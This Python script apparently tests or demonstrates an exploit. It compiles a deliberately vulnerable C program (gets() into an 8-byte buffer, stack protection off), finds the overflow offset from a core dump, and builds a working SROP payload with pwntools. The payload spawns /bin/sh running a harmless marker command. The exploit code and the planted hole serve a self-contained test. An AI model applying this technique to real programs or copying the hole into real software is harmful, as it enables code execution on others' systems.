
#!/usr/bin/env python
# coding: utf-8
#
# stack-pivot: Perform a simple SROP with a stack pivot.
# Copyright (c) 2024 Ali Polatel <alip@chesswob.org>
# SPDX-License-Identifier: GPL-3.0

import os, sys, subprocess, shutil, time

try:
    from pwn import (
        context,
        ELF,
        process,
        log,
        cyclic,
        cyclic_find,
        ROP,
        SigreturnFrame,
        p64,
        constants,
    )
except ImportError as e:
    sys.stderr.write("[!] Pwntools is not installed. Exiting: %r\n" % e)
    sys.exit(127)
else:
    context.terminal = ["echo", "ENOTTY"]

TEMP_FILES = ["vuln_srop.c", "vuln_srop", "srop.bin", "srop.txt", "pwned_srop"]


def compile_vuln():
    vuln_c_code = r"""
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

/*
 * Symbol to /bin/sh for convenience.
 */
char *sh = "/bin/sh";

/*
 * 1. We use argv so tests work under busybox.
 * 2. We use a one-shot command to avoid stdin races.
 */
char *sh_argv[] = {
    "/bin/sh",
    "-cex",
    "echo 'SROP: Change return success. "
          "Going and coming without error. "
          "Action brings good fortune.'; "
    "sleep 1; "
    "touch pwned; "
    "exit 42",
    NULL,
};

int overflow(void) {{
    char buf[8];
    gets(buf); /* Vulnerable to buffer overflow */
    return 0;
}}

int main(void) {{
    overflow();
    if (getuid() + getpid() == 0) {{
#ifdef __x86_64__
        __asm__ __volatile__ (
            "pop %rdi; ret;"
            "pop %rsi; ret;"
            "pop %rdx; ret;"
            "pop %rax; ret;"
        );
#elif __i386__
        __asm__ __volatile__ (
            "pop %eax; ret;"
            "int 0x80; ret;"
        );
#else
#error unsupported architecture
#endif
        execve("/bin/sh", 0, 0);
    }}
    return 0;
}}
    """
    with open("vuln_srop.c", "w") as f:
        f.write(vuln_c_code)
    cc_cmd = "cc -ansi -pedantic -Wall -Wextra -g -O0 -fno-stack-protector -no-pie -static vuln_srop.c -o vuln_srop"
    try:
        subprocess.run(
            cc_cmd,
            shell=True,
            check=True,
            stderr=subprocess.PIPE,
            stdout=subprocess.PIPE,
        )
    except subprocess.CalledProcessError as e:
        sys.stderr.write(f"[!] Compilation failed: {e.stderr.decode()}\n")
        sys.exit(127)


def generate_srop():
    context.binary = "./vuln_srop"
    elf = ELF("./vuln_srop")
    if context.arch not in ("amd64", "i386"):
        log.warn("This script only works on x86 or x86_64. Exiting.")
        sys.exit(127)

    # Ensure core dumps are unlimited.
    log.info("Setting core dump size to unlimited.")
    try:
        subprocess.run(
            ["prlimit", "--pid", str(os.getpid()), "--core=unlimited"], check=True
        )
    except subprocess.CalledProcessError:
        log.warn("Failed to set core dump size to unlimited.")
        log.warn("The next step may fail.")

    # Generate a cyclic pattern and send it to the vulnerable program.
    log.info("Generating cyclic pattern to find offset.")
    pattern = cyclic(128)
    p = process("./vuln_srop")
    p.sendline(pattern)
    p.wait()

    # Extract the core dump.
    core = p.corefile
    arch = context.arch

    if arch == "amd64" or arch == "i386":
        stack_pointer = "rsp"
    elif arch == "arm" or arch == "aarch64":
        stack_pointer = "sp"
    else:
        log.warn(f"Unsupported architecture: {arch}")
        sys.exit(127)

    offset = cyclic_find(core.read(getattr(core, stack_pointer), 4))
    log.info(f"Offset is {offset}.")

    log.info(f"Removing coredump file '{core.path}'")
    try:
        os.remove(core.path)
    except:
        log.warn(f"Failed to remove coredump file '{core.path}'")

    # Clear ROP cache.
    try:
        ROP.clear_cache()
    except:
        pass

    # Find SROP gadgets
    log.info("Finding SROP gadgets and locating '/bin/sh'")
    rop = ROP(elf)

    # Find /bin/sh string
    bin_sh = next(elf.search(b"/bin/sh"))
    log.info("Located '/bin/sh' at %#x." % bin_sh)

    # Find arguments array
    sh_argv = elf.symbols.get("sh_argv")
    log.info("Located 'sh_argv' at %#x." % sh_argv)

    if context.arch == "amd64":
        # Find gadgets needed to trigger a sigreturn
        pop_rax = rop.find_gadget(["pop rax", "ret"])[0]
        syscall_ret = rop.find_gadget(["syscall", "ret"])[0]

        # Prepare a SigreturnFrame.
        frame = SigreturnFrame(kernel=context.arch)
        frame.rax = constants.SYS_execve
        frame.rdi = bin_sh
        frame.rsi = sh_argv
        frame.rdx = 0
        frame.rip = syscall_ret

        payload = b"A" * offset
        payload += p64(pop_rax)
        payload += p64(15)  # rt_sigreturn for x86_64.
        payload += p64(syscall_ret)  # trigger sigreturn.
        payload += bytes(frame)
    #
    #    elif context.arch == "i386":
    #        # i386
    #        int80_ret = rop.find_gadget(["int 0x80", "ret"])[0]
    #        pop_eax = rop.find_gadget(["pop eax", "ret"])[0]
    #        bin_sh = (
    #            next(elf.search(b"/bin/sh\x00")) if b"/bin/sh\x00" in elf.read() else None
    #        )
    #        if not bin_sh:
    #            bin_sh = next(elf.search(b"/"))
    #        frame = SigreturnFrame(kernel="i386")
    #        frame.eax = constants.SYS_execve
    #        frame.ebx = bin_sh
    #        frame.ecx = sh_argv
    #        frame.edx = 0
    #        frame.eip = int80_ret
    #        payload = b"A" * offset
    #        payload += p32(pop_eax)
    #        payload += p32(0x77)  # sigreturn on i386
    #        payload += p32(int80_ret)  # trigger sigreturn
    #        payload += bytes(frame)

    log.info("SROP payload is %d bytes." % len(payload))
    print(rop.dump(), file=sys.stderr)
    with open("srop.txt", "w") as f:
        print(rop.dump(), file=f)
    log.info("ROP textual dump saved to 'srop.txt' for inspection.")

    # Save the ROP details to a file.
    with open("srop.bin", "wb") as f:
        f.write(payload)

    log.info("ROP payload saved to file 'srop.bin'")
    log.info('Do "stack-pivot run" in the same directory to perform exploitation.')


def run_exploit(timeout="10"):
    timeout=int(timeout)

    with open("srop.bin", "rb") as f:
        payload = f.read()

    # Function to attempt exploit without using pwntools.
    def attempt_exploit(timeout=10):
        try:
            p = subprocess.Popen(["./vuln_srop"], stdin=subprocess.PIPE)

            log.info("Writing the SROP payload to vulnerable program's standard input.")
            p.stdin.write(payload + b"\n")

            log.info("Flushing vulnerable program's standard input.")
            p.stdin.flush()

            log.info("Closing vulnerable program's standard input.")
            p.stdin.close()

            log.info(f"Waiting for {timeout} seconds...")
            p.wait(timeout=timeout)
        except subprocess.TimeoutExpired:
            log.warn("Timeout expired!")
            return False
        except Exception:
            try: p.kill()
            except: pass
            return False
        return p.returncode == 42 and os.path.exists("pwned")

    # Attempt the exploit up to 10 times.
    max_attempts = 10
    for attempt in range(max_attempts):
        log.info("Running the vulnerable program.")
        log.info(f"Attempt {attempt + 1} of {max_attempts} with {timeout} seconds timeout.")
        if attempt_exploit(timeout):
            log.warn("Successfully smashed the stack using a SROP chain!")
            sys.exit(42)
        else:
            log.info(f"Attempt {attempt + 1} failed.")
            attempt += 1

    log.info("All attempts failed.")
    sys.exit(0)


def clean():
    for temp_file in TEMP_FILES:
        if os.path.exists(temp_file):
            shutil.rmtree(temp_file)


def print_help():
    print("Usage:")
    print("srop init  - prepare the binary and payload")
    print("srop run   - run the exploitation")
    print("srop clean - clean up generated files")
    print("srop help  - this help")


def main():
    if len(sys.argv) < 2:
        print_help()
        sys.exit(0)
    elif sys.argv[1] == "init":
        compile_vuln()
        generate_srop()
    elif sys.argv[1] == "run":
        run_exploit(sys.argv[2] if len(sys.argv) > 2 else "10")
    elif sys.argv[1] == "clean":
        clean()
    else:
        print_help()
        sys.exit(0)


if __name__ == "__main__":
    main()
